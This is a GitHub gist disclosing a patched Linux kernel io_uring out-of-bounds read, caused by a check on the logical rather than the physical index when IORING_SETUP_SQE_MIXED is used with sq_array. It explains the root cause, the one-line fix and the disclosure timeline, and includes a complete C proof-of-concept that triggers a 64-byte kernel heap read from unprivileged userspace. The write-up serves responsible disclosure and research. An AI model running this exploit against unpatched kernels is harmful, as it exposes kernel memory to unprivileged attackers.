Skip to content

Instantly share code, notes, and snippets.

@Atomics-hub
Last active March 12, 2026 14:33
Show Gist options
  • Select an option

  • Save Atomics-hub/88b2c497166c838cc63633c5ce32c259 to your computer and use it in GitHub Desktop.

Select an option

Save Atomics-hub/88b2c497166c838cc63633c5ce32c259 to your computer and use it in GitHub Desktop.
Linux Kernel io_uring: OOB Read via SQE_MIXED + sq_array Physical Index Bypass

Linux Kernel io_uring: Out-of-Bounds Read via SQE_MIXED + sq_array Physical Index Bypass

CVE: Pending (kernel fix and liburing test both merged) Affected: Linux kernels with IORING_SETUP_SQE_MIXED (introduced by commit 1cba30bf9fdd) Fix: c76e0f1d77f8 — merged into io_uring-7.0 on 2026-03-10 Impact: 64-byte OOB read past the SQE array from unprivileged userspace Discoverer: Tom Ryan

Summary

When IORING_SETUP_SQE_MIXED is used without IORING_SETUP_NO_SQARRAY, the boundary check for 128-byte SQE operations in io_init_req() validated the logical SQ head position rather than the physical SQE index. Since sq_array allows userspace to remap logical positions to arbitrary physical indices, an unprivileged user can place a 128-byte operation at the last physical SQE slot, causing io_uring_cmd_sqe_copy() to memcpy 64 bytes past the end of the SQE array into adjacent kernel memory.

Root Cause

SQE array layout for SQE_MIXED

IORING_SETUP_SQE_MIXED allows mixing 64-byte and 128-byte SQEs in the same ring. Unlike IORING_SETUP_SQE128 (which doubles the array), SQE_MIXED allocates standard 64-byte slots. A 128-byte operation consumes two consecutive physical slots.

For sq_entries=64: the SQE array is 64 * 64 = 4096 bytes (one page). Valid physical indices for 128-byte ops are 0 through 62. Index 63 (the last slot) only has 64 bytes before the array boundary.

The sq_array indirection layer

io_get_sqe() uses sq_array to remap logical SQ positions to physical SQE indices:

// io_uring/io_uring.c - io_get_sqe()
unsigned head = ctx->cached_sq_head++ & mask;    // logical position
head = READ_ONCE(ctx->sq_array[head]);           // user-controlled remap
if (unlikely(head >= ctx->sq_entries))
    return false;  // bounds check: physical index < sq_entries
*sqe = &ctx->sq_sqes[head];                      // physical SQE pointer

The bounds check ensures head < sq_entries (0 to 63), which is correct for 64-byte operations. But for 128-byte operations, the valid range is head < sq_entries - 1 (0 to 62).

The flawed boundary check

io_init_req() had a check intended to prevent 128-byte ops at the ring boundary:

// io_uring/io_uring.c - io_init_req()
if (def->is_128 && !(ctx->flags & IORING_SETUP_SQE128)) {
    if (!(ctx->flags & IORING_SETUP_SQE_MIXED) || *left < 2 ||
        !(ctx->cached_sq_head & (ctx->sq_entries - 1)))  // <-- THE BUG
        return io_init_fail_req(req, -EINVAL);

!(ctx->cached_sq_head & (ctx->sq_entries - 1)) checks the logical position. This is correct for NO_SQARRAY rings where physical == logical. But when sq_array is present, an attacker sets sq_array[N] = sq_entries - 1, passing the logical check while placing the 128-byte operation at the last physical slot.

The OOB memcpy

io_uring_cmd_sqe_copy() copies 128 bytes from the SQE:

// io_uring/uring_cmd.c
memcpy(ac->sqes, ioucmd->sqe, uring_sqe_size(req));  // 128 bytes

When ioucmd->sqe points to sq_sqes[sq_entries - 1] (the last 64-byte slot), this reads:

  • Bytes 0-63: valid SQE data
  • Bytes 64-127: 64 bytes past the SQE array (adjacent kernel heap)

Trigger

sq_array[0] = 0          → NOP at physical index 0 (passes position-0 check)
sq_array[1] = sq_entries-1 → URING_CMD128 at LAST physical slot
sq_array[2] = 1          → consumed by 128-byte op's second slot

io_uring_enter(fd, 3, ...)
  → io_get_sqe reads sq_array[1] = 63 (last physical index)
  → io_init_req: logical check passes (cached_sq_head=2, 2 & 63 != 0)
  → io_uring_cmd_prep: sets REQ_F_SQE_COPY
  → io_uring_cmd_sqe_copy: memcpy(dst, &sq_sqes[63], 128)  ← 64 bytes OOB

Deterministic. Unprivileged. No race condition.

The Fix

Commit c76e0f1d77f8 replaces the logical position check with a physical index validation:

 if (!(ctx->flags & IORING_SETUP_SQE_MIXED) || *left < 2 ||
-    !(ctx->cached_sq_head & (ctx->sq_entries - 1)))
+    (unsigned)(sqe - ctx->sq_sqes) >= ctx->sq_entries - 1)

sqe - ctx->sq_sqes computes the physical index directly from the SQE pointer (which was already resolved through sq_array by io_get_sqe()). This correctly handles both sq_array and NO_SQARRAY cases, since the pointer arithmetic reflects the actual physical position regardless of how it was derived.

The original submission proposed adding a separate physical index check alongside the existing logical check. Caleb Sander Mateos observed that the physical index validation subsumes the logical check entirely, and Keith Busch suggested folding it into the existing conditional. The final patch is a single-line replacement.

Why KASAN Misses This

The SQE array is allocated via alloc_pages (order 0 for 64 entries = 1 page). KASAN uses page-granularity tracking for the page allocator, so the OOB read into the adjacent direct-map page appears valid. A kmalloc-based allocation with KASAN slab quarantine would catch this, but io_uring uses page-level allocations for the SQE ring.

PoC

See sqe_mixed_oob.c in the full repository, or sqe_mixed_oob_v2.c attached to this gist.

Output on vulnerable kernel (Linux 7.0-rc2, ARM64):

Ring created: fd=3 sq_entries=64 (SQE array = 4096 bytes)
Submitting: NOP@phys[0], URING_CMD128@phys[63] (LAST)
Expected: 128-byte memcpy at sq_sqes[63] reads 64 bytes OOB
io_uring_enter: ret=3
CQEs (2):
  user_data=0xaaaa res=0 flags=0x0        (NOP: success)
  user_data=0xbbbb res=-95 flags=0x0      (URING_CMD128: EOPNOTSUPP)

The -EOPNOTSUPP confirms the full path executed through io_uring_cmd_sqe_copy() — the pipe fd doesn't support uring_cmd, but the 128-byte memcpy already ran.

Timeline

  • 2026-03-08: Reported to security@kernel.org
  • 2026-03-09: Greg KH and Jens Axboe responded, requested formal patch. v1 patch sent. Jens noted it's not particularly nefarious (6.19+ only), asked to resend publicly to io-uring@vger.kernel.org
  • 2026-03-09: v2 patch sent to io-uring@vger.kernel.org incorporating review feedback from Caleb Sander Mateos and Keith Busch
  • 2026-03-10: Kernel patch applied by Jens Axboe, commit c76e0f1d77f8
  • 2026-03-11: liburing test patch (v2) applied by Jens Axboe, commit a35e4943ec95

References

/*
* io_uring SQE_MIXED + sq_array OOB read PoC (v2 - simplified)
*
* Bug: io_init_req() validates the LOGICAL sq_head position for 128-byte
* SQE boundary checking, but not the PHYSICAL index from sq_array.
* An unprivileged user can remap any logical position to physical index
* sq_entries-1 via sq_array, causing io_uring_cmd_sqe_copy() to read
* 128 bytes (64 bytes OOB) from the SQE array.
*
* Vulnerable check at io_uring/io_uring.c io_init_req():
* !(ctx->cached_sq_head & (ctx->sq_entries - 1))
* This checks logical position only, not physical index.
*
* Two variants:
* 1) sq_entries=64 (1 page) - OOB into adjacent direct-map page
* 2) sq_entries=128 (2 pages) - if vmap'd, OOB hits guard page (crash)
*
* Trigger: submit NOP at position 0, then URING_CMD128 at position 1
* with sq_array[1] = sq_entries-1 (last physical slot).
*
* The URING_CMD128 prep sets REQ_F_SQE_COPY, which triggers a 128-byte
* memcpy in io_uring_cmd_sqe_copy(). Since the physical SQE is at the
* last slot, 64 bytes are read past the array boundary.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/io_uring.h>
#include <sys/mman.h>
#include <errno.h>
#include <fcntl.h>
#ifndef IORING_SETUP_SQE_MIXED
#define IORING_SETUP_SQE_MIXED (1U << 19)
#endif
#ifndef IORING_OP_URING_CMD128
#define IORING_OP_URING_CMD128 64
#endif
static int io_uring_setup(unsigned entries, struct io_uring_params *p) {
return syscall(__NR_io_uring_setup, entries, p);
}
static int io_uring_enter2(int fd, unsigned to_submit, unsigned min_complete,
unsigned flags, void *arg, size_t argsz) {
return syscall(__NR_io_uring_enter, fd, to_submit, min_complete, flags, arg, argsz);
}
static int test_oob(unsigned sq_entries_requested) {
fprintf(stderr, "\n--- Testing with sq_entries=%u ---\n", sq_entries_requested);
struct io_uring_params p = {0};
p.flags = IORING_SETUP_SQE_MIXED;
int ring_fd = io_uring_setup(sq_entries_requested, &p);
if (ring_fd < 0) {
fprintf(stderr, "io_uring_setup(%u) failed: %s\n",
sq_entries_requested, strerror(errno));
return -1;
}
unsigned sq_entries = p.sq_entries;
unsigned mask = sq_entries - 1;
fprintf(stderr, "Ring created: fd=%d sq_entries=%u (SQE array = %zu bytes)\n",
ring_fd, sq_entries, (size_t)sq_entries * sizeof(struct io_uring_sqe));
unsigned sq_ring_sz = p.sq_off.array + sq_entries * sizeof(unsigned);
unsigned cq_ring_sz = p.cq_off.cqes + p.cq_entries * sizeof(struct io_uring_cqe);
unsigned sqe_sz = sq_entries * sizeof(struct io_uring_sqe);
void *sq_ring = mmap(0, sq_ring_sz, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_POPULATE, ring_fd, IORING_OFF_SQ_RING);
void *cq_ring = mmap(0, cq_ring_sz, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_POPULATE, ring_fd, IORING_OFF_CQ_RING);
void *sqes_mem = mmap(0, sqe_sz, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_POPULATE, ring_fd, IORING_OFF_SQES);
if (sq_ring == MAP_FAILED || cq_ring == MAP_FAILED || sqes_mem == MAP_FAILED) {
fprintf(stderr, "mmap failed: %s\n", strerror(errno));
close(ring_fd);
return -1;
}
unsigned *sq_tail_ptr = sq_ring + p.sq_off.tail;
unsigned *sq_array = sq_ring + p.sq_off.array;
struct io_uring_sqe *sqes = sqes_mem;
int pipe_fds[2];
if (pipe(pipe_fds) < 0) {
fprintf(stderr, "pipe failed: %s\n", strerror(errno));
close(ring_fd);
return -1;
}
/*
* Setup:
* sq_array[0] = 0 -> NOP at physical index 0 (padding for position check)
* sq_array[1] = mask -> URING_CMD128 at LAST physical index
* sq_array[2] = 1 -> consumed by 128-byte op (never actually read)
*
* The boundary check passes because logical position 2 (cached_sq_head
* after io_get_sqe for position 1) satisfies !(2 & mask) == false,
* meaning the check allows the operation.
*
* But physical index = mask means the 128-byte memcpy reads:
* sq_sqes[mask] (64 bytes valid) + sq_sqes[mask+1] (64 bytes OOB!)
*/
sq_array[0] = 0;
sq_array[1] = mask;
sq_array[2] = 1;
memset(&sqes[0], 0, sizeof(struct io_uring_sqe));
sqes[0].opcode = IORING_OP_NOP;
sqes[0].user_data = 0xAAAA;
memset(&sqes[mask], 0, sizeof(struct io_uring_sqe));
sqes[mask].opcode = IORING_OP_URING_CMD128;
sqes[mask].fd = pipe_fds[0];
sqes[mask].user_data = 0xBBBB;
fprintf(stderr, "Submitting: NOP@phys[0], URING_CMD128@phys[%u] (LAST)\n", mask);
fprintf(stderr, "Expected: 128-byte memcpy at sq_sqes[%u] reads 64 bytes OOB\n", mask);
unsigned tail = *sq_tail_ptr;
__atomic_store_n(sq_tail_ptr, tail + 3, __ATOMIC_RELEASE);
int ret = io_uring_enter2(ring_fd, 3, 0, 0, NULL, 0);
fprintf(stderr, "io_uring_enter: ret=%d%s\n", ret,
ret < 0 ? strerror(errno) : "");
usleep(50000);
unsigned *cq_head = cq_ring + p.cq_off.head;
unsigned *cq_tail_ptr2 = cq_ring + p.cq_off.tail;
unsigned cq_mask = *(unsigned *)(cq_ring + p.cq_off.ring_mask);
struct io_uring_cqe *cqes = cq_ring + p.cq_off.cqes;
unsigned cq_h = *cq_head;
unsigned cq_t;
__atomic_load(cq_tail_ptr2, &cq_t, __ATOMIC_ACQUIRE);
fprintf(stderr, "CQEs (%u):\n", cq_t - cq_h);
while (cq_h != cq_t) {
struct io_uring_cqe *cqe = &cqes[cq_h & cq_mask];
fprintf(stderr, " user_data=0x%llx res=%d flags=0x%x\n",
(unsigned long long)cqe->user_data, cqe->res, cqe->flags);
cq_h++;
}
__atomic_store_n(cq_head, cq_h, __ATOMIC_RELEASE);
close(pipe_fds[0]);
close(pipe_fds[1]);
munmap(sq_ring, sq_ring_sz);
munmap(cq_ring, cq_ring_sz);
munmap(sqes_mem, sqe_sz);
close(ring_fd);
return 0;
}
int main(void) {
setvbuf(stderr, NULL, _IONBF, 0);
fprintf(stderr, "=== SQE_MIXED + sq_array OOB read PoC v2 ===\n");
test_oob(64);
test_oob(128);
fprintf(stderr, "\n=== Check dmesg for KASAN/fault reports ===\n");
fflush(stderr);
system("sudo dmesg | tail -30 | grep -iE 'KASAN|BUG|slab-out|page.fault|unable.to.handle'");
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment